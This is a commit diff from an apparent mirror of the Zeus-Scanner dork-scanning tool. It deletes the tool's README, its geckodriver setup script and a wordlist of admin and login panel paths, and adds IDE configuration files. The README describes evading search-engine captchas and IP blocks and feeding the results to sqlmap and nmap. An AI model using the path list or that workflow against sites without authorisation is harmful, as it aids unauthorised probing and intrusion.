mirror of
https://github.com/Ekultek/Zeus-Scanner.git
synced 2026-03-11 08:55:51 +00:00
not even close to done
This commit is contained in:
ekultek
parent
3004ca5595
commit
46f526c885
46 changed files with 258 additions and 13485 deletions
5
.gitignore
vendored
5
.gitignore
vendored
|
|
@ -1,5 +0,0 @@
|
|||
log/
|
||||
geckodriver.log
|
||||
*.pyc
|
||||
.idea/
|
||||
bin/executed.txt
|
||||
7
.idea/misc.xml
Normal file
7
.idea/misc.xml
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="PreferredVcsStorage">
|
||||
<preferredVcsName>ApexVCS</preferredVcsName>
|
||||
</component>
|
||||
<component name="ProjectRootManager" version="2" project-jdk-name="Python 2.7.13 (/usr/bin/python2.7)" project-jdk-type="Python SDK" />
|
||||
</project>
|
||||
8
.idea/modules.xml
Normal file
8
.idea/modules.xml
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/zeus-scanner.iml" filepath="$PROJECT_DIR$/.idea/zeus-scanner.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
||||
6
.idea/vcs.xml
Normal file
6
.idea/vcs.xml
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$" vcs="Git" />
|
||||
</component>
|
||||
</project>
|
||||
226
.idea/workspace.xml
Normal file
226
.idea/workspace.xml
Normal file
|
|
@ -0,0 +1,226 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ChangeListManager">
|
||||
<list default="true" id="c926ff09-2cf7-46ea-9baa-55dc1653e772" name="Default" comment="">
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/.gitignore" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/ISSUE_TEMPLATE.md" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/LICENSE.md" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/README.md" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/bin/geckodriver-v0.18.0-linux32.tar.gz" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/bin/geckodriver-v0.18.0-linux64.tar.gz" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/bin/unzip_gecko.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/etc/agents.txt" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/etc/dorks.txt" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/etc/link_ext.txt" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/etc/xss_payloads.txt" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/admin_panel_finder/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/intel_me/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/nmap_scan/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/nmap_scan/nmap_opts.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/sqlmap_scan/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/sqlmap_scan/sqlmap_opts.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/base64_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/hex_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/lowercase_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/randomcase_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/unicode_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/uppercase_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/tamper_scripts/url_encode.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/attacks/xss_scan/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/errors.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/lib/settings.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/requirements.txt" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/sqlmap_api_directions.txt" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/auto_issue/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/auto_issue/github.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/auto_issue/oauth" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/blackwidow/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/google_search/__init__.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/var/google_search/search.py" afterPath="" />
|
||||
<change type="DELETED" beforePath="$PROJECT_DIR$/zeus.py" afterPath="" />
|
||||
<change type="MOVED" beforePath="$PROJECT_DIR$/bin/__init__.py" afterPath="$PROJECT_DIR$/index.html" />
|
||||
<change type="MOVED" beforePath="$PROJECT_DIR$/lib/__init__.py" afterPath="$PROJECT_DIR$/stylesheets/main.css" />
|
||||
</list>
|
||||
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
||||
<option name="TRACKING_ENABLED" value="true" />
|
||||
<option name="SHOW_DIALOG" value="false" />
|
||||
<option name="HIGHLIGHT_CONFLICTS" value="true" />
|
||||
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
|
||||
<option name="LAST_RESOLUTION" value="IGNORE" />
|
||||
</component>
|
||||
<component name="FileEditorManager">
|
||||
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
||||
<file leaf-file-name="index.html" pinned="false" current-in-tab="true">
|
||||
<entry file="file://$PROJECT_DIR$/index.html">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="0">
|
||||
<caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
|
||||
<folding />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file leaf-file-name="main.css" pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/stylesheets/main.css">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="0">
|
||||
<caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
|
||||
<folding />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
</leaf>
|
||||
</component>
|
||||
<component name="Git.Settings">
|
||||
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
|
||||
</component>
|
||||
<component name="IdeDocumentHistory">
|
||||
<option name="CHANGED_PATHS">
|
||||
<list>
|
||||
<option value="$PROJECT_DIR$/bin/unzip_gecko.py" />
|
||||
<option value="$PROJECT_DIR$/bin/executed.txt" />
|
||||
<option value="$PROJECT_DIR$/var/google_search/search.py" />
|
||||
<option value="$PROJECT_DIR$/lib/settings.py" />
|
||||
<option value="$PROJECT_DIR$/.gitignore" />
|
||||
<option value="$PROJECT_DIR$/stylesheets/print.css" />
|
||||
<option value="$PROJECT_DIR$/__config.yml" />
|
||||
<option value="$PROJECT_DIR$/index.html" />
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="ProjectFrameBounds" extendedState="6">
|
||||
<option name="x" value="573" />
|
||||
<option name="y" value="58" />
|
||||
<option name="width" value="821" />
|
||||
<option name="height" value="655" />
|
||||
</component>
|
||||
<component name="ProjectView">
|
||||
<navigator currentView="ProjectPane" proportions="" version="1">
|
||||
<flattenPackages />
|
||||
<showMembers />
|
||||
<showModules />
|
||||
<showLibraryContents />
|
||||
<hideEmptyPackages />
|
||||
<abbreviatePackageNames />
|
||||
<autoscrollToSource />
|
||||
<autoscrollFromSource />
|
||||
<sortByType />
|
||||
<manualOrder />
|
||||
<foldersAlwaysOnTop value="true" />
|
||||
</navigator>
|
||||
<panes>
|
||||
<pane id="ProjectPane">
|
||||
<subPane>
|
||||
<expand>
|
||||
<path>
|
||||
<item name="zeus-scanner" type="b2602c69:ProjectViewProjectNode" />
|
||||
<item name="zeus-scanner" type="462c0819:PsiDirectoryNode" />
|
||||
</path>
|
||||
</expand>
|
||||
<select />
|
||||
</subPane>
|
||||
</pane>
|
||||
<pane id="Scratches" />
|
||||
<pane id="Scope" />
|
||||
</panes>
|
||||
</component>
|
||||
<component name="RecentsManager">
|
||||
<key name="CopyFile.RECENT_KEYS">
|
||||
<recent name="$PROJECT_DIR$/images" />
|
||||
</key>
|
||||
</component>
|
||||
<component name="RunDashboard">
|
||||
<option name="ruleStates">
|
||||
<list>
|
||||
<RuleState>
|
||||
<option name="name" value="ConfigurationTypeDashboardGroupingRule" />
|
||||
</RuleState>
|
||||
<RuleState>
|
||||
<option name="name" value="StatusDashboardGroupingRule" />
|
||||
</RuleState>
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="ShelveChangesManager" show_recycled="false">
|
||||
<option name="remove_strategy" value="false" />
|
||||
</component>
|
||||
<component name="TaskManager">
|
||||
<task active="true" id="Default" summary="Default task">
|
||||
<changelist id="c926ff09-2cf7-46ea-9baa-55dc1653e772" name="Default" comment="" />
|
||||
<created>1507141930890</created>
|
||||
<option name="number" value="Default" />
|
||||
<option name="presentableId" value="Default" />
|
||||
<updated>1507141930890</updated>
|
||||
</task>
|
||||
<servers />
|
||||
</component>
|
||||
<component name="ToolWindowManager">
|
||||
<frame x="573" y="58" width="1303" height="780" extended-state="6" />
|
||||
<layout>
|
||||
<window_info id="Project" active="true" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.25338647" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" />
|
||||
<window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" />
|
||||
<window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Python Console" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.32847896" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
|
||||
<window_info id="Data View" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" />
|
||||
<window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
|
||||
<window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
|
||||
</layout>
|
||||
</component>
|
||||
<component name="VcsContentAnnotationSettings">
|
||||
<option name="myLimit" value="2678400000" />
|
||||
</component>
|
||||
<component name="XDebuggerManager">
|
||||
<breakpoint-manager />
|
||||
<watches-manager />
|
||||
</component>
|
||||
<component name="editorHistoryManager">
|
||||
<entry file="file://$PROJECT_DIR$/index.html">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="0">
|
||||
<caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
|
||||
<folding />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/bin/executed.txt" />
|
||||
<entry file="file://$PROJECT_DIR$/bin/unzip_gecko.py" />
|
||||
<entry file="file://$PROJECT_DIR$/log/zeus-log-16.log" />
|
||||
<entry file="file://$PROJECT_DIR$/log/url-log/url-log-6.log" />
|
||||
<entry file="file://$PROJECT_DIR$/var/google_search/search.py" />
|
||||
<entry file="file://$PROJECT_DIR$/lib/settings.py" />
|
||||
<entry file="file://$PROJECT_DIR$/.gitignore" />
|
||||
<entry file="file://$PROJECT_DIR$/stylesheets/print.css" />
|
||||
<entry file="file://$PROJECT_DIR$/_config.yml" />
|
||||
<entry file="file://$PROJECT_DIR$/index.html">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="0">
|
||||
<caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
|
||||
<folding />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/stylesheets/main.css">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="0">
|
||||
<caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
|
||||
<folding />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</component>
|
||||
</project>
|
||||
11
.idea/zeus-scanner.iml
Normal file
11
.idea/zeus-scanner.iml
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="PYTHON_MODULE" version="4">
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$" />
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
<component name="TestRunnerService">
|
||||
<option name="PROJECT_TEST_RUNNER" value="Unittests" />
|
||||
</component>
|
||||
</module>
|
||||
|
|
@ -1,20 +0,0 @@
|
|||
# What's the problem
|
||||
<!-- Make sure to check the current closed issues and run Zeus in --verbose -->
|
||||
|
||||
# Running context
|
||||
<!-- Basic info, OS, etc.. -->
|
||||
- Operating system:
|
||||
<!-- run zeus.py --version -->
|
||||
- Zeus version:
|
||||
|
||||
# Any idea on a solution?
|
||||
<!-- If you don't have any idea just skip this or put 'n/a' -->
|
||||
|
||||
# Full console commands run
|
||||
<!-- The flags you ran Zeus with (-d, -f, -l, etc..) -->
|
||||
|
||||
# Stacktrace (if applicable)
|
||||
<!-- The error that you received if it was applicable -->
|
||||
|
||||
# Full file log information
|
||||
<!-- Copy your current log file here, you can blank out the dorks if you want. -->
|
||||
15
LICENSE.md
15
LICENSE.md
|
|
@ -1,15 +0,0 @@
|
|||
Zeus-Scanner Advanced Dork Scanning Tool
|
||||
Copyright (C) 2017 Thomas Perkins (Ekultek)
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
44
README.md
44
README.md
|
|
@ -1,44 +0,0 @@
|
|||
# Zeus-Scanner
|
||||
|
||||
### What is Zeus?
|
||||
|
||||
Zeus is a advanced dork searching tool that is capable of bypassing search engine API calls, search engine captchas, and IP address blocking from sending many requests to the search engine itself. Zeus can use three different search engines to do the search (_default is Google_). Zeus has a powerful built in engine, automates a hidden web browser to pull the search URL, and can run sqlmap and nmap scans on the URL's.
|
||||
|
||||
### Screenshots
|
||||
|
||||
Running without a mandatory options, or running the `--help` flag will output Zeus's help menu:
|
||||
|
||||
A basic dork scan with the `-d` flag, from the given dork will launch an automated browser and pull the Google page results:
|
||||
|
||||
Calling the `-s` flag will prompt for you to start the sqlmap API server `python sqlmapapi.py -s` from sqlmap, it will then connect to the API and perform a sqlmap scan on the found URL's.
|
||||
|
||||
|
||||
|
||||
### Requirements
|
||||
|
||||
There are a few requirements for this:
|
||||
|
||||
- Firefox web browser is required as of now, I will be adding the functionality of most web browsers.
|
||||
- If you want to run sqlmap through the URL's you will need sqlmap somewhere on your system.
|
||||
- If you want to run a port scan using nmap on the URL's IP addresses. You will need nmap on your system.
|
||||
- _Highly advised tip_: Add sqlmap and nmap to your ENV PATH
|
||||
- Gecko web driver is required and will be installed the first time you run. It will be added to your `/usr/bin` so that it can be run in your ENV PATH.
|
||||
- You must be `sudo` for the first time running this so that you can add the driver to your PATH
|
||||
- `selenium-webdriver` package is required to automate the web browser and bypass API calls.
|
||||
- `requests` package is required to connect to the URL, and the sqlmap API
|
||||
- `python-nmap` package is required to run nmap on the URL's IP addresses
|
||||
- `whichcraft` package is required to check if nmap and sqlmap are on your system if you want to use them
|
||||
- `pyvirtualdisplay` package is required to hide the browser display while finding the search URL
|
||||
- `xvfb` is required by pyvirtualdisplay, it will be installed if not installed on your first run
|
||||
|
||||
### Installing
|
||||
|
||||
To install Zeus you simply need to do the following:
|
||||
|
||||
- **_(optional but highly advised)_** add sqlmap and nmap to your environment PATH by moving them to `/usr/bin` or by adding them to the PATH via terminal
|
||||
- Clone the repository `git clone https://github.com/Ekultek/Zeus-Scanner.git`
|
||||
- `cd` into zeus-scanner
|
||||
- Run `pip install -r requirements.txt`
|
||||
- For your first run, run `sudo python zeus.py`
|
||||
|
||||
This will install all the package requirements along with the gecko web driver
|
||||
Binary file not shown.
Binary file not shown.
|
|
@ -1,166 +0,0 @@
|
|||
import os
|
||||
import platform
|
||||
import tarfile
|
||||
import subprocess
|
||||
|
||||
import whichcraft
|
||||
|
||||
import lib.settings
|
||||
|
||||
|
||||
def disclaimer():
|
||||
question = raw_input(
|
||||
"\033[91mAttacking targets without consent is not only illegal, but it "
|
||||
"is unethical and frowned upon in most countries. By installing this "
|
||||
"program you are agreeing that you are responsible for your own actions, "
|
||||
"you are over the age of 18 or legally considered an adult in your "
|
||||
"place of origin, and that you will obey all laws, regulations, and "
|
||||
"rules set forth by your place of origin. You will only see this disclaimer "
|
||||
"once. If you agree to the conditions type 'yes'...\033[0m"
|
||||
)
|
||||
if question.upper() == "YES":
|
||||
return True
|
||||
else:
|
||||
lib.settings.logger.fatal(lib.settings.set_color(
|
||||
"you have not agreed with the terms of service, so "
|
||||
"Zeus will shut down now...", level=50
|
||||
))
|
||||
return False
|
||||
|
||||
|
||||
def check_os(current=platform.platform()):
|
||||
"""
|
||||
check the users operating system..
|
||||
"""
|
||||
if "linux" in str(current).lower():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def check_xvfb(exc="Xvfb"):
|
||||
"""
|
||||
test for xvfb on the users system
|
||||
"""
|
||||
if whichcraft.which(exc) is None:
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"installing Xvfb, required by pyvirutaldisplay..."
|
||||
))
|
||||
subprocess.call(["sudo", "apt-get", "install", "xvfb"])
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def check_if_run(file_check="{}/bin/executed.txt"):
|
||||
"""
|
||||
check if the application has been run before by reading the executed.txt file
|
||||
"""
|
||||
if os.path.isfile(file_check.format(os.getcwd())):
|
||||
with open(file_check.format(os.getcwd())) as exc:
|
||||
if "FALSE" in exc.read():
|
||||
return True
|
||||
return False
|
||||
else:
|
||||
with open(file_check.format(os.getcwd()), "a+") as exc:
|
||||
exc.write("FALSE")
|
||||
return True
|
||||
|
||||
|
||||
def untar_gecko(filename="{}/bin/geckodriver-v0.18.0-linux{}.tar.gz", verbose=False):
|
||||
"""
|
||||
untar the correct gecko driver for your computer architecture
|
||||
"""
|
||||
arch_info = {"64bit": "64", "32bit": "32"}
|
||||
file_arch = arch_info[platform.architecture()[0]]
|
||||
tar = tarfile.open(filename.format(os.getcwd(), file_arch), "r:gz")
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"extracting the correct driver for your architecture...", level=10
|
||||
))
|
||||
try:
|
||||
tar.extractall("/usr/bin")
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"driver extracted into /usr/bin (you may change this, but ensure that it "
|
||||
"is in your PATH)...", level=10
|
||||
))
|
||||
except IOError as e:
|
||||
if "Text file busy" in str(e):
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"the driver is already installed..."
|
||||
))
|
||||
tar.close()
|
||||
pass
|
||||
except Exception as e:
|
||||
if "[Errno 13] Permission denied: '/usr/bin/geckodriver'" in str(e):
|
||||
lib.settings.logger.exception(lib.settings.set_color(
|
||||
"first run must be ran as root (sudo python zeus.py)...", level=50
|
||||
))
|
||||
else:
|
||||
lib.settings.logger.exception(lib.settings.set_color(
|
||||
"ran into exception '{}', logged to current log file...".format(e), level=50
|
||||
))
|
||||
exit(-1)
|
||||
tar.close()
|
||||
|
||||
|
||||
def ensure_placed(item="geckodriver", verbose=False):
|
||||
"""
|
||||
use whichcraft to ensure that the driver has been placed in your PATH variable
|
||||
"""
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"ensuring that the driver exists in your system path...", level=10
|
||||
))
|
||||
if not whichcraft.which(item):
|
||||
lib.settings.logger.fatal(lib.settings.set_color(
|
||||
"the executable '{}' does not appear to be in your /usr/bin PATH. "
|
||||
"please untar the correct geckodriver (if not already done) and move "
|
||||
"it to /usr/bin.".format(item), level=50
|
||||
))
|
||||
exit(-1)
|
||||
else:
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"driver exists, continuing...", level=10
|
||||
))
|
||||
return True
|
||||
|
||||
|
||||
def main(rewrite="{}/bin/executed.txt", verbose=False):
|
||||
"""
|
||||
main method
|
||||
"""
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"verifying operating system...", level=10
|
||||
))
|
||||
if not check_os():
|
||||
raise NotImplementedError(lib.settings.set_color(
|
||||
"as of now, Zeus requires Linux to run successfully "
|
||||
"your current operating system '{}' is not implemented "
|
||||
"yet...".format(platform.platform()), level=50
|
||||
))
|
||||
if check_if_run():
|
||||
if not disclaimer():
|
||||
exit(1)
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"seems this is your first time running the appication, "
|
||||
"doing setup please wait..."
|
||||
))
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"checking if xvfb is on your system...", level=10
|
||||
))
|
||||
check_xvfb()
|
||||
untar_gecko(verbose=verbose)
|
||||
if ensure_placed(verbose=verbose):
|
||||
with open(rewrite.format(os.getcwd()), "w") as rw:
|
||||
rw.write("TRUE")
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"done, continuing process..."
|
||||
))
|
||||
else:
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"already ran, skipping...", level=10
|
||||
))
|
||||
4195
etc/agents.txt
4195
etc/agents.txt
File diff suppressed because it is too large
Load diff
5873
etc/dorks.txt
5873
etc/dorks.txt
File diff suppressed because it is too large
Load diff
297
etc/link_ext.txt
297
etc/link_ext.txt
|
|
@ -1,297 +0,0 @@
|
|||
:23
|
||||
:82
|
||||
:2082
|
||||
:2083
|
||||
/admin.php
|
||||
/admin.html
|
||||
/index.php
|
||||
/login.php
|
||||
/login.html
|
||||
/administrator
|
||||
/admin
|
||||
/adminpanel
|
||||
/cpanel
|
||||
/login
|
||||
/wp-login.php
|
||||
/administrator
|
||||
/admins
|
||||
/logins
|
||||
/admin.asp
|
||||
/login.asp
|
||||
/adm/
|
||||
/admin/
|
||||
/admin/account.html
|
||||
/admin/login.html
|
||||
/admin/login.htm
|
||||
/admin/controlpanel.html
|
||||
/admin/controlpanel.htm
|
||||
/admin/adminLogin.html
|
||||
/admin/adminLogin.htm
|
||||
/admin.htm
|
||||
/admin.html
|
||||
/adminitem/
|
||||
/adminitems/
|
||||
/administrator/
|
||||
/administrator/login.%EXT%
|
||||
/administrator.%EXT%
|
||||
/administration/
|
||||
/administration.%EXT%
|
||||
/adminLogin/
|
||||
/adminlogin.%EXT%
|
||||
/admin_area/admin.%EXT%
|
||||
/admin_area/
|
||||
/admin_area/login.%EXT%
|
||||
/manager/
|
||||
/superuser/
|
||||
/superuser.%EXT%
|
||||
/access/
|
||||
/access.%EXT%
|
||||
/sysadm/
|
||||
/sysadm.%EXT%
|
||||
/superman/
|
||||
/supervisor/
|
||||
/panel.%EXT%
|
||||
/control/
|
||||
/control.%EXT%
|
||||
/member/
|
||||
/member.%EXT%
|
||||
/members/
|
||||
/user/
|
||||
/user.%EXT%
|
||||
/cp/
|
||||
/uvpanel/
|
||||
/manage/
|
||||
/manage.%EXT%
|
||||
/management/
|
||||
/management.%EXT%
|
||||
/signin/
|
||||
/signin.%EXT%
|
||||
/log-in/
|
||||
/log-in.%EXT%
|
||||
/log_in/
|
||||
/log_in.%EXT%
|
||||
/sign_in/
|
||||
/sign_in.%EXT%
|
||||
/sign-in/
|
||||
/sign-in.%EXT%
|
||||
/users/
|
||||
/users.%EXT%
|
||||
/accounts/
|
||||
/accounts.%EXT%
|
||||
/bb-admin/login.%EXT%
|
||||
/bb-admin/admin.%EXT%
|
||||
/bb-admin/admin.html
|
||||
/administrator/account.%EXT%
|
||||
/relogin.htm
|
||||
/relogin.html
|
||||
/check.%EXT%
|
||||
/relogin.%EXT%
|
||||
/blog/wp-login.%EXT%
|
||||
/user/admin.%EXT%
|
||||
/users/admin.%EXT%
|
||||
/registration/
|
||||
/processlogin.%EXT%
|
||||
/checklogin.%EXT%
|
||||
/checkuser.%EXT%
|
||||
/checkadmin.%EXT%
|
||||
/isadmin.%EXT%
|
||||
/authenticate.%EXT%
|
||||
/authentication.%EXT%
|
||||
/auth.%EXT%
|
||||
/authuser.%EXT%
|
||||
/authadmin.%EXT%
|
||||
/cp.%EXT%
|
||||
/modelsearch/login.%EXT%
|
||||
